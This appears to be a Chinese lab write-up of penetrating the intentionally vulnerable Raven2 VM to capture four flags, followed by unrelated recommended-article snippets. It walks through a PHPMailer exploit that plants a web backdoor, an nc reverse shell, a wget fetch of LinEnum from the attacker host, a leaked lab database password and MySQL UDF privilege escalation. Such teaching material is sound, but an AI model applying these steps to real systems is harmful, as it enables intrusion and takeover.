Raven2渗透

2023-11-08

1. 实训目的

通过此次实验来学习对Raven2的渗透,(Raven:2是中级boot2root VM。有四个要捕获的标志。在多次破坏之后,Raven Security采取了额外的措施来加固其Web服务器,以防止黑客),找到四个flag,学习一些渗透的基础知识。

2. 实训原理

    在虚拟机上使用kali做为攻击机,对靶机进行渗透,使用kali上自带的nmap工具扫描靶机的ip地址,接下来使用dirb爆破网站的文件目录,获得一些有用的信息,使用网站所有的漏洞进行利用,寻找所需要的flag,最后进行提权以此获得root权限

3. 实训环境

测试环境:VMware workstations14

渗透机:kali-linux2019,ip:192.168.0.103

测试机:Raven2,ip:192.1680.106

连接方式:网络配置都选用桥接模式

4. 实训步骤

一、信息收集

1.1查看kali的ip地址

1.2使用arp-scan -l扫描靶机的ip

1.3使用nmap扫描靶机开启的端口以及服务

端口22开启的ssh可以进行爆破,80端口的http,可以在浏览器上访问

1.4浏览器上访问靶机的ip地址

1.5使用dirb对网站的文件目录爆破,得到网站的相对路径

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测

1.5.1在浏览器访问http://192.168.0.106/vendor/

1.5.2查看PATH目录下找到flag1

1.5.3在examples目录下发现PHPMailer 邮件服务以及对应的版本(PHPMailer是一个用于发送电子邮件的PHP函数包)

二、漏洞利用(PHPMailer漏洞利用)(searchsploit phpmailer

2.1选用40974.py.使用cp命令将py文件复制到自己相应的目录里,并且使用vim编辑器打开

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /root/

vim 40974.py

2.2运行python代码(python 40974.py)

2.3浏览器访问http://192.168.0.106/contact.php生成后门文件

2.4用nc开启监听并访问http://192.168.0.106/sky.php 获得一个低级的shell,并且用python获取pty得到交互式的shell

2.5在var目录下全局搜索flag

flag2.txt与链接flag3.png

2.6查看flag2

cd /var/www

cat flag2.txt

 2.7浏览器访问http://192.168.0.106/wordpress/wp-content/uploads/2018/11/flag3.png

2.8查找数据库的账号密码

 

得到数据库账号:root ,数据库密码:R@v3nSecurity

三、权限提升并找flag4

3.1在kali终端下载枚举漏洞工具LinEnum

https://github.com/rebootuser/LinEnum

 3.2用python搭建一个简单的服务器来把文件下载到靶机里面

python -m http.server 6666-----文件内打开终端!!!!

3.3 在靶机上使用wget下载

wget http://192.168.0.103:6666/LinEnum.sh

3.5需要提权,chmod修改权限后,再./LinEnum.sh执行

3.6要查找MySQL版本

如果MySQL版本 <= 5.7.14,5.6.32,5.5.51就可以使用该漏洞提权,,此版本的MySQL容易受到UDF(用户定义函数)漏洞的攻击

3.7漏洞利用(在kali终端)

3.8使用python模块创建服务器

python2 -m SimpleHTTPServer 8080

3.9把文件ok.so利用服务器传输到靶机上(下面的ip为kali的IP)

3.10进入数据库--创建数据表--插入数据--新建存储函数

 

 

 

成功提权并且查看flag4.txt

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Raven2渗透 的相关文章

随机推荐

  • 软件工程第二版(判断题答案)

    判断题 第一章 软件就是程序 编写软件就是编写程序 软件危机的主要表现是软件需求增加 软件价格上升 软件工程学科出现的主要原因是软件危机的出现 软件工具的作用是为了延长软件产品的寿命 第二章 瀑布模型的最大优点是将软件开发的各个阶段划分得十
  • Notepad++ 配置 支持jquery、html、css、javascript、php代码提示

    官网下载 http notepad plus plus org 获取插件的方法 打开软件 窗口工具栏有有一个问号 点获取插件 我使用的插件 安装方法都是官方的方法 QuickText v0 2 1 zip 自定义缩写词 按快捷键后输出 定义
  • Java网络编程Socket(使用字节流)

    套接字 Socket 开发网络应用程序被广泛采用 以至于成为事实上的标准 Socket通信原理 通信的两端都要有Socket 是两台机器间通信的端点 网络通信其实就是Socket间的通信 Socket允许程序把网络连接当成一个流 数据在两个
  • java private 构造函数_JAVA private私有类的 默认构造函数 的生成过程

    如果一个类没有定义任何构造函数 则编译器将生成一个缺省的构造函数 该构造函数的访问修改符和类的访问修改符相同 例如 class test将生成test 构造函数 public class test将生成public test 构造函数 在使
  • JPA使用雪花算法生成主键ID

    实现方式 通过 GenericGenerator注解自定义主键生成策略 需要实现org hibernate id IdentifierGenerator接口 根据官网例子进行改造 官网链接 https docs jboss org hibe
  • Qt中多线程的使用(二)

    线程池 当线程的任务量比较大时 频繁创建和销毁线程会有很大的内存开销 此时使用QThread的方法就不合适 应该使用线程池QThreadPool QThread适用于常驻内存的任务 QThreadPool适用于不常驻内存 任务量比较大的情况
  • Element-UI官方文档阅读笔记(VUE)—持续更新中····

    前言 本人前端新手一枚 目前工作中接触Element UI较多 但其中很多组件布局什么的都不是很清楚 所以想稍微花点时间简单过一遍Element UI官方文档 并作以记录 其中有什么不对的地方 还请各位路过的大佬不吝赐教 以下内容按elem
  • Hive建表实例——定义serdeproperties属性

    创建table时 直接定义serdeproperties属性 create table wzhg c0 string c1 string c2 string row format serde org apache hadoop hive c
  • 代理模式 【设计模式之禅作者】

    代理模式 12 1 我是游戏至尊 2007年 感觉很无聊 于是就玩了一段时间的网络游戏 游戏名就不说了 要不就有做广告的嫌疑 反正就是打怪 升级 砍人 被人砍 然后继续打怪 升级 打怪 升级 我花了两个月的时间升级到80级 已经很有成就感了
  • Leetcode每日一题:57. 插入区间

    原题 给你一个 无重叠的 按照区间起始端点排序的区间列表 在列表中插入一个新的区间 你需要确保列表中的区间仍然有序且不重叠 如果有必要的话 可以合并区间 示例 1 输入 intervals 1 3 6 9 newInterval 2 5 输
  • 00000000000000000000.timeindex.swap: 另一个程序正在使用此文件,进程无法访问(kafka)

    产生此问题的原因 在window下使用kafka导致 在linux下使用kafka没有此问题 window下kafka报错 linux下kafka正常
  • 文本挖掘学习笔记(二):文档信息向量化与主题关键词提取

    注 学习笔记基于文彤老师文本挖掘的系列课程 全文基于 射雕英雄传 语料库 下面是读入数据的一个基于Pandas的通用操作框架 读入为数据框 import pandas as pd from matplotlib import pyplot
  • element表格复选框,弹框关闭取消选择

    弹框表格复选框清空 this nextTick gt this refs tabledata clearSelection
  • 面向工业物联网的拍赫兹通信

    摘要 相比于传统无线射频通信 拍赫兹通信 PetaCom petahertz communication 具有高速率 低时延和高确定性等显著优势 在工业物联网 IIoT industrial internet of things 中可以发挥
  • [1178]数据库like和rlike区别

    like 通配符 使用时需指定具体值 如 用like筛选某张表姓张的人全部信息 或名字叫张三的信息 张或张三就必须写为具体值 sql语法的 模糊匹配 通配符 代表零个或任意字符 代表1个字符 rlike 正则 模糊查询 区间范围判断 如 用
  • 链表问题处理

    今天主要是对一些链表相关问题的理解和处理 下面所有问题处理的都是这种链表 struct ListNode int val struct ListNode next 话不多说 我直接进入正题 1 删除链表中等于给定值 val 的所有节点 给你
  • 【音效处理】Reverb 混响算法简介

    系列文章目录 Delay Line 简介及其 C C 实现 LFO 低频振荡器简介及其 C C 实现 音效处理 Delay Echo 简介 音效处理 Vibrato 简介 文章目录 系列文章目录 一 混响 二 人工混响 三 数字混响算法 3
  • 最大化TensorFlow* CPU性能

    用户可以在v2 5之后的官方x86 64 TensorFlow 设置环境变量TF ENABLE ONEDNN OPTS 1来启用这些CPU优化 export TF ENABLE ONEDNN OPTS 1 大多数建议都适用于官方x86 64
  • 在有NVIDIA显卡的机器上安装Ubuntu 18.04 LTS的一些建议

    在装有NVIDIA显卡的机器上安装Ubuntu 18 04 LTS的一些建议 如果安装途中出现问题 导致不能正常进入系统 请看以下步骤 一 编辑Grub Ubuntu的引导程序 二 root下更改 三 重启进入系统 下载驱动 如果安装途中出
  • Raven2渗透

    1 实训目的 通过此次实验来学习对Raven2的渗透 Raven 2是中级boot2root VM 有四个要捕获的标志 在多次破坏之后 Raven Security采取了额外的措施来加固其Web服务器 以防止黑客 找到四个flag 学习一些